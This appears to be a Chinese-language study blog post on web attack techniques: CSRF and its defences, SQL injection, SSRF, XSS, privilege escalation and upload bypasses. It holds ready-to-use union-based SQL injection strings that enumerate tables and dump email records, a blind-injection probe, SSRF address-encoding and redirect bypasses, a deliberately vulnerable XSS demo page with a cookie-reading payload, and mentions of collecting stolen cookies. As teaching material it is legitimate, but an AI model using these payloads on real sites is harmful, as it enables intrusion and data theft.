Web Hack 原理

发表于 | 分类于 | 阅读次数

http://tool.chinaz.com/map.aspx

信息

whois 域名 注册人名 邮箱 http://whois.chinaz.com

ip

ping ip get cdn ip http://ping.chinaz.com

how get src ip

目录

CSRF

跨越请求伪造 cross-site request forgery

CSRF 攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点，从而在并未授权的情况下执行在权限保护之下的操作。

攻击者创建一个链接，受害者点击它之后就可以完成攻击者想要的操作，这些操作一般是删除文章， 创建用户之类。比如某网站的删除文章链接是http://www.xxx.com/post/<id>/delete，那么攻击者可以直接构造出来发给有权限的人， 它点击之后就可以将文章删除。当然，攻击者也可以使用当下流行的短网址服务来伪造 URL，避免受到怀疑。

请求会附带浏览器中的目标域名的cookie一起发向目标服务器

tar

查询类的API不用保护。改变类的需要csrf保护

防策略

HTTP Referer

  • 简单易行，安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以
  • 浏览器Referer被篡改
  • 用户自己可以设置浏览器使其在发送请求时不再提供Referer

csrf token

要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。

HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token， 如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。

  • 非常麻烦参数

    在一个网站中，可以接受请求的地方非常多，要对于每一个请求都加上 token 是很麻烦的， 并且很容易漏掉，通常使用的方法就是在每次页面加载时，使用 javascript 遍历整个 dom 树， 对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求， 但是对于在页面加载之后动态生成的 html 代码，这种方法就没有作用，还需要程序员在编码时手动添加 token。

  • 难以保证 token 本身的安全
    • 系统可以在添加 token 的时候增加一个判断，如果这个链接是链到自己本站的，就在后面添加 token，如果是通向外网则不加。
    • 黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。

Header 中自定义属性并验证

使用 token 并进行验证 ,放到 HTTP 头中自定义的属性。

解决了上种方法在请求中加入 token 的不便， 同时，通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏， 也不用担心 token 会透过 Referer 泄露到其他网站中去。

局限性非常大，并非所有的请求都适合用XMLHttpRequest。

对于没有进行 CSRF 防护的遗留系统来说，要采用这种方法来进行防护， 要把所有请求都改为 XMLHttpRequest 请求，这样几乎是要重写整个网站，这代价无疑是不能接受的。

summary

通过上文讨论可知，目前业界应对 CSRF 攻击有一些克制方法，但是每种方法都有利弊，没有一种方法是完美的。 如何选择合适的方法非常重要。如果网站是一个现有系统，想要在最短时间内获得一定程度的 CSRF 的保护，那么验证 Referer 的方法是最方便的， 要想增加安全性的话，可以选择不支持低版本浏览器，毕竟就目前来说，IE7+, FF3+ 这类高版本浏览器的 Referer 值还无法被篡改。

如果系统必须支持 IE6，并且仍然需要高安全性。那么就要使用 token 来进行验证，在大部分情况下，使用 XmlHttpRequest 并不合适， token 只能以参数的形式放于请求之中，若你的系统不支持用户自己发布信息，那这种程度的防护已经足够，否则的话， 你仍然难以防范 token 被黑客窃取并发动攻击。在这种情况下，你需要小心规划你网站提供的各种服务， 从中间找出那些允许用户自己发布信息的部分，把它们与其他服务分开，使用不同的 token 进行保护，这样可以有效抵御黑客对于你关键服务的攻击， 把危害降到最低。毕竟，删除别人一个帖子比直接从别人账号中转走大笔存款严重程度要轻的多。

如果是开发一个全新的系统，则抵御 CSRF 的选择要大得多。笔者建议对于重要的服务，可以尽量使用 XMLHttpRequest 来访问， 这样增加 token 要容易很多。另外尽量避免在 js 代码中使用复杂逻辑来构造常规的同步请求来访问需要 CSRF 保护的资源， 比如 window.location 和 document.createElement(“a”) 之类，这样也可以减少在附加 token 时产生的不必要的麻烦。

SQL 注入

基于 回显

页面中显示db信息 主要通过union

注入点

and 1=1 and 1=2

列数

order by ? ? >= 1 数字 直到N -> 列数 = N-1

用户 db

1 and 1=2 union select 1,concat(current_user(),' ',database())

表数量

1 and 1=2 union select 1,count(table_name) from information_schema.tables where table_schema=database()

表名

1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit ?,1

表的列数量

1 and 1=2 union select 1,count(column_name) from information_schema.columns where table_name='email'

表列名

1 and 1=2 union select 1,column_name from information_schema.columns where table_name='email' limit ?,1

行数

1 and 1=2 union select 1, count(1) from email

记录

1 and 1=2 union select 1,concat(userid,' ',email) from email limit ?,1

基于 bool

在一些情况下，页面上是没有回显的。也就是说，不显示任何数据库中的信息。我们只能根据输出判断是否成功、失败、或者错误。这种情况就叫做盲注。 如果我们想查询整数值，构造布尔语句直接爆破；如果想查询字符串值，先爆破它的长度，再爆破每一位

查询用户及数据库名称

1 and (select length(database()))=?

sqlmap

pip install sqlmap

用法

SSRF

很多 Web 应用都提供了从其他服务器上获取数据的功能。使用用户指定的 URL，web 应用可以获取图片，下载文件，读取文件内容等。 这个功能如果被恶意使用，可以利用存在缺陷的 Web 应用作为代理，攻击远程和本地服务器（内网）。这种形式的攻击成为服务器请求伪造（SSRF）

漏洞可能性

  • 分享：通过 URL 分享网页内容

如果在此功能中没有对目标地址范围做过滤与限制，就存在 SSRF 漏洞。

  • 转码服务：通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
  • 在线翻译：通过 URL 地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
  • 图片加载与下载：通过 URL 地址加载或下载图片
  • 图片、文章收藏功能

排除ssrf

图片是百度上的，你调用的是搜狗API，浏览器向百度请求图片，那么就不存在 SSRF 漏洞。 如果浏览器向搜狗请求图片，那么就说明搜狗服务器发送了请求，向百度请求图片，可能存在 SSRF。

绕过方法

URL 绕过

访问@后面的url

ip 转换

127.0.0.1->0x7F.0x00.0x00.0x01 or 0177.0000.0000.0001

URL 跳转

1
<?php header("Location: $_GET['url']"); ?>

保存为urllocation.php然后部署，之后可以用http:///urllocation.php?url=来跳转。

短网址

百度短网址

自定义dns解析IP xip.io

XSS

跨站脚本攻击（Cross Site Scripting）

恶意攻击者往 Web 页面里插入恶意 js 代码，当用户浏览器该页之时，嵌入 Web 页面里的代码会被执行，从而达到恶意攻击用户的目的。

XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

攻击方式

payload 在 XSS 中指代攻击代码或攻击语句

  • 反射型：Payload 经过后端，不经过数据库
  • 存储型：Payload 经过后端，经过数据库
  • DOM：Payload 不经过后端

反射型

需要欺骗用户点击链接才能触发 XSS 代码（数据库中没有这样的页面和内容）。Payload 一般存在于 URL 或者 HTTP 正文中，需要构造页面，或者构造 URL。

提交js代码到表单，没有过滤。浏览器直接解析代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//关闭浏览器xss保护
header('X-XSS-Protection: 0');
?>
    <p>反射型 XSS 演示</p>
    <form action="" method="get">
        <input type="text" name="xss"/>
        <input type="submit" value="test"/>
    </form>
<?php
$xss = @$_GET['xss'];
if ($xss !== null) {
    echo $xss;
}

输入<script>alert(document.cookie)</script>

这个例子中 URL 为http://localhost/xss.php?xss=%3Cscript%3Ealert%281%29%3C%2Fscript%3E，这个 URL 容易引起怀疑，可以使用短网址工具缩短后发送给受害者。 从上面的例子中，我们可以看出，反射型 XSS 的数据流向是：浏览器 -> 后端 -> 浏览器。

存储型

代码储存在数据库中。如在个人信息或发表文章等地方，假如代码，如果没有过滤或过滤不严，那么这些代码将储存到数据库中， 用户访问该页面的时候出发代码执行。这种 XSS 比较危险，容易造成蠕虫，盗窃 Cookie 等。

浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。

xss平台

我们可能需要通过 XSS 来获得用户 Cookie 或其他有用信息，利用平台负责接收并保存这些信息。另外，利用平台能够托管利用脚本，于是我们可以向页面只注入一个脚本链接，使长度极大缩短。

第三方漏洞

口令爆破

提权

越权

  • 水平越权：权限不变，身份改变
  • 垂直越权：身份不变，权限改变

信息遍历

通过遍历id=xxx来获取其他信息。

信息遍历属于水平越权，因为用户还是普通用户，但是身份变成了其它的普通用户。

burp 爆破

这玩意慢死了，如果不复杂的话，还不如直接上手编程。

隐藏式后台

扫描器扫出后台地址，然后尝试访问。

绕过

修改cookie的某些值，后台不做检查可以绕过。

改密码等

上传文件

上传漏洞的目的是拿到 WebShell，也就是取得一定的服务器权限。

绕过 Content-type限制

利用 Burp Suite 直接改Content-type

检验 文件后缀名

貌似绕不开